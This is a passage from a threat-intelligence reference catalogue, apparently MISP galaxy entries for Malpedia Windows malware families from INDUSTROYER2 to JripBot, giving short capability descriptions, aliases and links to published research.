https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-industroyer-biggest-threat-industrial-control-systems-stuxnet/
https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/
https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf
https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/
https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf
https://www.secureworks.com/research/threat-profiles/iron-viking
https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf

INDUSTROYER2

The tag is: *misp-galaxy:malpedia="INDUSTROYER2"*

INDUSTROYER2 is also known as:

Table 2373. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer2
https://www.netresec.com/?page=Blog&month=2022-04&post=Industroyer2-IEC-104-Analysis
https://blog.scadafence.com/industroyer2-attack
https://www.splunk.com/en_us/blog/security/threat-update-industroyer2.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war

https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works
https://www.nozominetworks.com/blog/industroyer2-nozomi-networks-labs-analyzes-the-iec-104-payload/
https://pylos.co/2022/04/23/industroyer2-in-perspective/
https://cert.gov.ua/article/39518
https://www.mandiant.com/resources/industroyer-v2-old-malware-new-tricks
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd
https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/
https://blogs.blackberry.com/en/2022/05/threat-thursday-malware-rebooted-how-industroyer2-takes-aim-at-ukraine-infrastructure
https://www.ntop.org/cybersecurity/how-ntopng-monitors-iec-60870-5-104-traffic/
https://twitter.com/silascutler/status/1513870210398363651
https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/
https://www.nozominetworks.com/downloads/US/Nozomi-Networks-WP-Industroyer2.pdf

Inferno

The tag is: *misp-galaxy:malpedia="Inferno"*

Inferno is also known as:

Table 2374. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.inferno
https://github.com/LimerBoy/Inferno

InfoDot

Ransomware.

The tag is: *misp-galaxy:malpedia="InfoDot"*

InfoDot is also known as:

Table 2375. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.infodot
https://id-ransomware.blogspot.com/2019/10/infodot-ransomware.html

Infy

The tag is: *misp-galaxy:malpedia="Infy"*

Infy is also known as:

- Foudre

Table 2376. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.infy
https://research.checkpoint.com/2021/after-lightning-comes-thunder/
https://download.bitdefender.com/resources/files/News/CaseStudies/study/393/Bitdefender-Whitepaper-Iranian-APT-Makes-a-Comeback-with-Thunder-and-Lightning-Backdoor-and-Espionage-Combo.pdf
https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/
https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv
http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
https://www.intezer.com/prince-of-persia-the-sands-of-foudre/
http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
https://cloud.tencent.com/developer/article/1738806

InnaputRAT

InnaputRAT, a RAT capable of exfiltrating files from victim machines, was distributed by threat actors using phishing and Godzilla Loader. The RAT has evolved through multiple variants dating back to 2016. Recent campaigns distributing InnaputRAT beaconed to live C2 as of March 26, 2018.

The tag is: *misp-galaxy:malpedia="InnaputRAT"*

InnaputRAT is also known as:

Table 2377. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.innaput_rat

https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/

win.innfirat

InnifiRAT is coded in .NET and targets personal data on infected devices, with it's top priority appearing to be bitcoin and litecoin wallet data.

InffiRAT also includes a backdoor which allows attackers to control the infected host remotely. Possibilities include loggin key stroke, taking pictures with webcam, accessing confidential information, formatting drives, and more.

It attempts to steal browser cookies to steal usernames and passwords and monitors the users activities with screenshot functionality.

The tag is: *misp-galaxy:malpedia="win.innfirat"*

win.innfirat is also known as:

Table 2378. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.innfirat
https://www.zscaler.com/blogs/research/innfirat-new-rat-aiming-your-cryptocurrency-and-more

Interception

ESET noticed attacks against aerospace and military companies in Europe and the Middle East that took place between September and December 2019, which featured this family. They found a number of hints that points towards Lazarus as potential origin.

The tag is: *misp-galaxy:malpedia="Interception"*

Interception is also known as:

Table 2379. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.interception
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf

InvisiMole

InvisiMole had a modular architecture, starting with a wrapper DLL, and performing its activities using two other modules that were embedded in its resources, named RC2FM and RC2CL. They were feature-rich backdoors and turned the affected computer into a video camera, letting the attackers to spy the victim. The malicious actors behind this malware were active at least since 2013 in highly targeted campaigns with only a few dozen compromised computers in Ukraine and

Russia. The wrapper DLL posed as a legitimate mpr.dll library and was placed in the same folder as explorer.exe, which made it being loaded during the Windows startup into the Windows Explorer process instead of the legitimate library. Malware came in both 32-bit and 64-bit versions, which made this persistence technique functional on both architectures.

The smaller of the modules, RC2FM, contained a backdoor with fifteen supported commands indexed by numbers. The commands could perform simple changes on the system and spying features like capturing sounds, taking screenshots or monitoring all fixed and removable drives.

The second module, RC2CL, offered features for collecting as much data about the infected computer as possible, rather than for making system changes. The module supported up to 84 commands such as file system operations, file execution, registry key manipulation, remote shell activation, wireless network scanning, listing of installed software etc. Though the backdoor was capable of interfering with the system (e.g. to log off a user, terminate a process or shut down the system), it mostly provided passive operations. Whenever possible, it tried to hide its activities by restoring the original file access time or safe-deleting its traces.

The tag is: *misp-galaxy:malpedia="InvisiMole"*

InvisiMole is also known as:

Table 2380. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/
https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/

Ironcat

The tag is: *misp-galaxy:malpedia="Ironcat"*

Ironcat is also known as:

Table 2381. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.ironcat
https://aaronrosenmund.com/blog/2020/09/26/ironcat-ransmoware/
https://twitter.com/demonslay335/status/1308827693312548864

IRONHALO

```
IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded
payload from a hard-coded command-and-control (CnC) server and uniform resource
locator (URL) path.
The encoded payload is written to a temporary file, decoded and executed in a hidden
window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat
and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number
based on the current timestamp. It persists by copying itself to the current users
Startup folder.
```

The tag is: *misp-galaxy:malpedia="IRONHALO"*

IRONHALO is also known as:

Table 2382. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://www.symantec.com/security-center/writeup/2015-122210-5128-99
https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

IsaacWiper

The tag is: *misp-galaxy:malpedia="IsaacWiper"*

IsaacWiper is also known as:

- LASAINRAW

Table 2383. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper
https://thehackernews.com/2022/03/second-new-isaacwiper-data-wiper.html
https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/

https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine
https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works
https://www.recordedfuture.com/isaacwiper-continues-trend-wiper-attacks-against-ukraine/
https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/
https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/
https://securityintelligence.com/posts/new-wiper-malware-used-against-ukranian-organizations/
https://twitter.com/ESETresearch/status/1521910890072842240
https://experience.mandiant.com/trending-evil-2/p/1
https://go.recordedfuture.com/hubfs/reports/mtp-2022-0324.pdf
https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/
https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/
https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/
https://www.brighttalk.com/webcast/15591/534324

ISFB

2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)

In September 2010, the source code of a particular Gozi CRM dll version was leaked. This led to two main branches: one became known as Gozi Prinimalka, which was merge with Pony and became Vawtrak/Neverquest.

The other branch became known as Gozi ISFB, or ISFB in short. Webinject functionality was added to this version.

There is one panel which often was used in combination with ISFB: IAP. The panel's login page comes with the title 'Login - IAP'. The body contains 'AUTHORIZATION', 'Name:', 'Password:' and a single button 'Sign in' in a minimal design. Often, the panel is directly accessible by entering the C2 IP address in a browser. But there are ISFB versions which are not directly using IAP. The bot accesses a gate, which is called the 'Dreambot' gate. See win.dreambot for further information.

ISFB often was protected by Rovnix. This led to a further complication in the naming scheme - many companies started to call ISFB Rovnix. Because the signatures started to look for Rovnix, other trojans protected by Rovnix (in particular ReactorBot and Rerdom) sometimes got wrongly labelled.

In April 2016 a combination of Gozi ISFB and Nymaim was detected. This breed became known as GozNym. The merge uses a shellcode-like version of Gozi ISFB, that needs Nymaim to run. The C2 communication is performed by Nymaim.

See win.gozi for additional historical information.

The tag is: *misp-galaxy:malpedia="ISFB"*

ISFB is also known as:

- Gozi ISFB
- IAP
- Pandemyia

Table 2384. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://blog.talosintelligence.com/2019/01/amp-tracks-ursnif.html
https://blog.minerva-labs.com/attackers-insert-themselves-into-the-email-conversation-to-spread-malware
https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0
https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/
https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/
https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489
https://threatresearch.ext.hp.com/detecting-ta551-domains/
https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/
https://news.sophos.com/en-us/2019/12/24/gozi-v3-tracked-by-their-own-stealth/
https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html
https://www.fidelissecurity.com/threatgeek/threat-intelligence/gozi-v3-technical-update/
https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/

https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/
https://www.fortinet.com/blog/threat-research/new-variant-of-ursnif-continuously-targeting-italy
https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware
https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://0ffset.net/reverse-engineering/analyzing-com-mechanisms-in-malware/
https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html
https://redcanary.com/resources/webinars/deep-dive-process-injection/
https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/
https://www.youtube.com/watch?v=KvOpNznu_3w
https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/
https://malware.love/malware_analysis/reverse_engineering/2020/11/27/analyzing-a-vbs-dropper.html
https://www.tgsoft.it/files/report/download.asp?id=568531345
https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them
https://blog.morphisec.com/ursnif/gozi-delivery-excel-macro-4.0-utilization-uptick-ocr-bypass
https://blog.yoroi.company/research/the-ursnif-gangs-keep-threatening-italy/
https://blog.talosintelligence.com/2020/07/valak-emerges.html
https://0ffset.net/reverse-engineering/malware-analysis/analysing-isfb-loader/
https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-ursnif-infections/
https://www.tgsoft.it/files/report/download.asp?id=7481257469
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf
https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/
https://blog.qualys.com/vulnerabilities-threat-research/2022/05/08/ursnif-malware-banks-on-news-events-for-phishing-attacks
https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/
http://benkow.cc/DreambotSAS19.pdf
https://securityintelligence.com/posts/ursnif-cerberus-android-malware-bank-transfers-italy/
https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html

https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware
https://0ffset.net/reverse-engineering/malware-analysis/analyzing-isfb-second-loader/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://www.hornetsecurity.com/en/security-information/firefox-send-sends-ursnif-malware/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
http://blog.talosintelligence.com/2018/03/gozi-isfb-remains-active-in-2018.html
https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/
https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex
https://isc.sans.edu/forums/diary/German+language+malspam+pushes+Ursnif/25732/
https://www.cleafy.com/cleafy-labs/digital-banking-fraud-how-the-gozi-malware-work
https://lokalhost.pl/gozi_tree.txt
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/phishing-campaigns-featuring-ursnif-trojan/
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/
https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/
https://blog.group-ib.com/gozi-latest-ttps
https://isc.sans.edu/forums/diary/Reviewing+the+spam+filters+Malspam+pushing+GoziISFB/23245
https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much
https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/
https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/
https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/
https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/
https://blog.yoroi.company/research/ursnif-the-latest-evolution-of-the-most-popular-banking-malware/
https://www.cyberbit.com/blog/endpoint-security/new-ursnif-malware-variant/

https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf
https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/
https://www.youtube.com/watch?v=jlc7Ahp8Iqg
https://blog.yoroi.company/research/ursnif-long-live-the-steganography/
https://www.cylance.com/en_us/blog/threat-spotlight-ursnif-infostealer-malware.html
https://journal.cecyf.fr/ojs/index.php/cybin/article/view/15
https://blog.fox-it.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/
https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf
https://www.cyberbit.com/new-ursnif-malware-variant/
https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update
https://www.proofpoint.com/us/blog/security-briefs/ta544-targets-italian-organizations-ursnif-malware
https://github.com/gbrindisi/malware/tree/master/windows/gozi-isfb
https://github.com/mlodic/ursnif_beacon_decryptor
https://www.darktrace.com/en/blog/the-resurgence-of-the-ursnif-banking-trojan/
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

ISMAgent

The tag is: *misp-galaxy:malpedia="ISMAgent"*

ISMAgent is also known as:

Table 2385. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/
https://unit42.paloaltonetworks.com/atoms/evasive-serpens/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
http://www.clearskysec.com/ismagent/

ISMDoor

The tag is: *misp-galaxy:malpedia="ISMDoor"*

ISMDoor is also known as:

Table 2386. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor
https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon
http://www.clearskysec.com/greenbug/
https://unit42.paloaltonetworks.com/atoms/evasive-serpens/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia
https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon

iSpy Keylogger

The tag is: *misp-galaxy:malpedia="iSpy Keylogger"*

iSpy Keylogger is also known as:

Table 2387. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ispy_keylogger
https://www.zscaler.com/blogs/research/ispy-keylogger
https://www.secureworks.com/research/threat-profiles/gold-skyline

IsraBye

The tag is: *misp-galaxy:malpedia="IsraBye"*

IsraBye is also known as:

Table 2388. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.israbye
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://twitter.com/malwrhunterteam/status/1085162243795369984

ISR Stealer

ISR Stealer is a modified version of the Hackhound Stealer. It is written in VB and often comes in a .NET-wrapper. ISR Stealer makes use of two Nirsoft tools: Mail PassView and WebBrowserPassView.

Incredibly, it uses an hard-coded user agent string: HardCore Software For : Public

The tag is: *misp-galaxy:malpedia="ISR Stealer"*

ISR Stealer is also known as:

Table 2389. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.isr_stealer
https://securingtomorrow.mcafee.com/mcafee-labs/phishing-attacks-employ-old-effective-password-stealer/

IsSpace

The tag is: *misp-galaxy:malpedia="IsSpace"*

IsSpace is also known as:

- NfLog RAT

Table 2390. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace
https://www.secureworks.com/research/threat-profiles/bronze-express
https://www.secureworks.com/research/threat-profiles/bronze-overbrook
http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf
https://unit42.paloaltonetworks.com/atoms/shallowtaurus/
http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/
https://wikileaks.org/vault7/document/2015-09-20150911-280-CSIT-15085-NfLog/2015-09-20150911-280-CSIT-15085-NfLog.pdf
https://unit42.paloaltonetworks.com/watering-hole-attack-on-aerospace-firm-exploits-cve-2015-5122-to-install-isspace-backdoor/

IXWare

The tag is: *misp-galaxy:malpedia="IXWare"*

IXWare is also known as:

Table 2391. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ixware
https://fr3d.hk/blog/ixware-kids-will-be-skids

JackPOS

The tag is: *misp-galaxy:malpedia="JackPOS"*

JackPOS is also known as:

Table 2392. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jackpos

Jaff

The tag is: *misp-galaxy:malpedia="Jaff"*

Jaff is also known as:

Table 2393. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff
http://malware-traffic-analysis.net/2017/05/16/index.html
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://intel471.com/blog/a-brief-history-of-ta505
https://www.proofpoint.com/us/threat-insight/post/jaff-new-ransomware-from-actors-behind-distribution-of-dridex-locky-bart

Jager Decryptor

The tag is: *misp-galaxy:malpedia="Jager Decryptor"*

Jager Decryptor is also known as:

Table 2394. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jager_decryptor

Jaku

The tag is: *misp-galaxy:malpedia="Jaku"*

Jaku is also known as:

- C3PRO-RACOON
- EQUINOX
- KCNA Infostealer
- Reconcyc

Table 2395. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku
https://securelist.com/whos-really-spreading-through-the-bright-star/68978/
https://www.forcepoint.com/sites/default/files/resources/files/report_jaku_analysis_of_botnet_campaign_en_0.pdf
https://www.brighttalk.com/webcast/7451/538775
https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146

Janeleiro

The tag is: *misp-galaxy:malpedia="Janeleiro"*

Janeleiro is also known as:

Table 2396. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.janeleiro
https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf
https://www.welivesecurity.com/2021/04/06/janeleiro-time-traveler-new-old-banking-trojan-brazil/

jason

Jason is a graphic tool implemented to perform Microsoft exchange account brute-force in order to “harvest” the highest possible emails and accounts information. Distributed in a ZIP container the interface is quite intuitive: the Microsoft exchange address and its version shall be provided. Three brute-force methods could be selected: EWS (Exchange Web Service), OAB (Offline Address Book) or both (All). Username and password list can be selected and threads number should be provided in order to optimize the attack balance.

The tag is: *misp-galaxy:malpedia="jason"*

jason is also known as:

Table 2397. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jason
https://twitter.com/P3pperP0tts/status/1135503765287657472
https://marcoramilli.com/2019/06/06/apt34-jason-project/
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

Jasus

The tag is: *misp-galaxy:malpedia="Jasus"*

Jasus is also known as:

Table 2398. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jasus
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

JCry

Ransomware written in Go.

The tag is: *misp-galaxy:malpedia="JCry"*

JCry is also known as:

Table 2399. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jcry
https://twitter.com/IdoNaor1/status/1101936940297924608
https://twitter.com/0xffff0800/status/1102078898320302080

Jeno

Ransomware.

The tag is: *misp-galaxy:malpedia="Jeno"*

Jeno is also known as:

- Jest
- Valeria

Table 2400. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jeno
https://id-ransomware.blogspot.com/2020/04/jeno-ransomware.html

JhoneRAT

Cisco Talos identified JhoneRAT in January 2020. The RAT is delivered through cloud services (Google Drive) and also submits stolen data to them (Google Drive, Twitter, ImgBB, GoogleForms). The actors using JhoneRAT target Saudi Arabia, Iraq, Egypt, Libya, Algeria, Morocco, Tunisia, Oman, Yemen, Syria, UAE, Kuwait, Bahrain and Lebanon.

The tag is: *misp-galaxy:malpedia="JhoneRAT"*

JhoneRAT is also known as:

Table 2401. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jhone_rat
https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/
https://blog.talosintelligence.com/2020/01/jhonerat.html
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

Jigsaw

The tag is: *misp-galaxy:malpedia="Jigsaw"*

Jigsaw is also known as:

Table 2402. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jigsaw

Jimmy

The tag is: *misp-galaxy:malpedia="Jimmy"*

Jimmy is also known as:

Table 2403. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jimmy
https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/

Joanap

The tag is: *misp-galaxy:malpedia="Joanap"*

Joanap is also known as:

Table 2404. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.joanap
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware
https://www.us-cert.gov/ncas/alerts/TA18-149A
https://www.us-cert.gov/ncas/analysis-reports/AR18-149A
https://www.secureworks.com/research/threat-profiles/nickel-academy
https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://app.box.com/s/xyyord0b806e6or2nh92coxw2areyyx4

Joao

The tag is: *misp-galaxy:malpedia="Joao"*

Joao is also known as:

Table 2405. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.joao
https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/

win.JobCrypter

The tag is: *misp-galaxy:malpedia="win.JobCrypter"* win.JobCrypter is also known as:

Table 2406. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jobcrypter
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/jobcrypter-ransomware-with-new-routines-for-encryption-desktop-screenshots

Jolob

The tag is: *misp-galaxy:malpedia="Jolob"*

Jolob is also known as:

Table 2407. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jolob
http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html

JQJSNICKER

The tag is: *misp-galaxy:malpedia="JQJSNICKER"*

JQJSNICKER is also known as:

Table 2408. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jqjsnicker
http://marcmaiffret.com/vault7/

JripBot

The tag is: *misp-galaxy:malpedia="JripBot"*

JripBot is also known as:

Table 2409. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf

